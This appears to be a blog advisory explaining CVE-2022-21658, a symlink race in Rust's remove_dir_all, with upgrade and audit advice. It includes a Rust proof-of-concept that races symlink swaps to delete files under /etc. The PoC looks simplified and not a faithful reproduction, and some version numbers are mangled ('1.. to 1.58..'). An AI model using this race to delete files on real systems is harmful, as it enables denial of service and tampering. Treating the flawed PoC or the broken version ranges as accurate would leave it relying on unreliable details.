TL;DR:
A dangerous race condition in Rust’s standard library function std::fs::remove_dir_all (CVE-2022-21658) could let attackers delete arbitrary files—even those outside of their permissions—by abusing symlinks. This affected all Rust versions from 1.. to 1.58.. Upgrade to 1.58.1 now.
Introduction
Rust is a modern, fast, and safe systems programming language. Its advanced safety features are trusted for building critical software, from web servers to operating system components. However, no system is completely immune to bugs, especially those that slip in at the intersection of safety and real-world file systems.
In early 2022, the Rust Security Response Working Group (WG) received a report about a security vulnerability in the standard library’s remove_dir_all function—a function widely used for recursively deleting directories. The bug, labeled as CVE-2022-21658, is subtle but serious: it enables a race condition where attackers can trick programs into deleting files or directories they should not have access to, simply by exploiting symlinks at the right time.
This article explains the bug in simple terms, demonstrates how it can be exploited (with code examples), and walks through mitigation steps.
In Rust, the std::fs::remove_dir_all function is used like this
use std::fs;
fn main() -> std::io::Result<()> {
fs::remove_dir_all("/some/path/to/delete")?;
Ok(())
}
It works recursively: deleting the directory at the path you pass in, and all its contents.
What Went Wrong?
The flaw lies in how file systems handle symlinks (symbolic links). If an attacker can swap out a directory (or its children) with a symlink pointing elsewhere at just the right moment, Rust’s code can be tricked into following the symlink and deleting files outside the intended directory.
This is a classic time-of-check to time-of-use (TOCTOU) race condition.
Example: Attacker’s Trick
Imagine your application, running as root or another privileged user, calls remove_dir_all("/tmp/something"). There’s an unprivileged attacker on the same system with write access to /tmp/something.
If the attacker can swap /tmp/something/evil for a symlink to, say, /etc/, in the tiny window between the check and the delete, the Rust program may recursively delete files in /etc/.
Proof-of-Concept Exploit
Below is a simplified demonstration (for educational use only) of how such a race condition could be exploited in a typical Unix environment. Please don’t use this for malicious purposes.
use std::fs::{self, create_dir, File};
use std::os::unix::fs::symlink;
use std::{thread, time::Duration, process::Command};
fn main() {
let target_dir = "/tmp/vulndir";
let marker_file = "/etc/important.conf"; // victim file
// Setup: create directory to be deleted and an important file
create_dir(target_dir).unwrap_or_default();
File::create(marker_file).unwrap_or_default();
// In a real attack, the attacker repeatedly swaps the directory/child for a symlink
thread::spawn(move || {
loop {
// Remove any prior evil child
let _ = fs::remove_file(format!("{}/evil", target_dir));
// Symlink to the victim file or directory
let _ = symlink(marker_file, format!("{}/evil", target_dir));
thread::sleep(Duration::from_millis(1));
}
});
// Victim (privileged) code calls remove_dir_all
thread::sleep(Duration::from_millis(10)); // wait briefly for setup
println!("Attempting to delete {}", target_dir);
let _ = fs::remove_dir_all(target_dir);
// Now check if the marker file still exists
let exists = fs::metadata(marker_file).is_ok();
println!(
"Victim file '{}' still exists? {}",
marker_file, exists
);
}
> In real-world scenarios, attackers would time the symlink swap precisely and use more sophisticated methods, but this illustrates the basic idea.
Why Is This So Dangerous?
- Privilege escalation: If attackers can get a privileged service to delete files outside its intended directory, they may break the system or delete critical configuration (DoS), or even clear audit trails.
- Hard to defend in code: Even careful developers can't close this race in user code. Any check you add before calling remove_dir_all can itself be raced.
Affected Rust versions: 1.. through 1.58.
- Patched in: Rust 1.58.1 (release notes)
Official References
- CVE-2022-21658 at NIST
- Rust Security Advisory Database: RUSTSEC-2022-0007
- Rust 1.58.1 Release Post
- GitHub Issue & Patch
How Is It Fixed?
The patch for Rust 1.58.1 changes how the standard library walks directories recursively. Instead of naively recursing into every directory found (which can be replaced with symlinks in the meantime), it uses OS APIs to:
Work in a way that cannot be raced on modern Unix systems
But note: some older platforms (like OSX < 10.10 and REDOX) lack these APIs. If you run in these environments, you are still at risk!
What Should You Do?
1. Update Rust immediately to 1.58.1 or later—especially if building SUID binaries or system daemons.
Do not attempt to self-mitigate by adding extra checks in code. Any check could itself be raced.
3. Audit your code for any privileged use of remove_dir_all or other directory deleting operations.
If you cannot update for some reason, do not run affected Rust programs with elevated privileges on shared systems.
Conclusion
Even the safest languages have their sharp corners. CVE-2022-21658 reminds us to stay up-to-date—especially when writing system-level code. The bug is a classic race condition, but with very real risks for data and system security.
Do not delay: update Rust, and audit your code for uses of remove_dir_all in privileged contexts.
Extra Resources
- CWE-363: Race Condition Enabling Link Following
- Reddit Discussion: Rust remove_dir_all CVE
*Stay safe, keep your builds fresh, and never trust the filesystem!*
*Written exclusively for you. Sharing is caring, but please cite this post if you quote.*
Timeline
Published on: 01/20/2022 18:15:00 UTC
Last modified on: 05/26/2022 03:15:00 UTC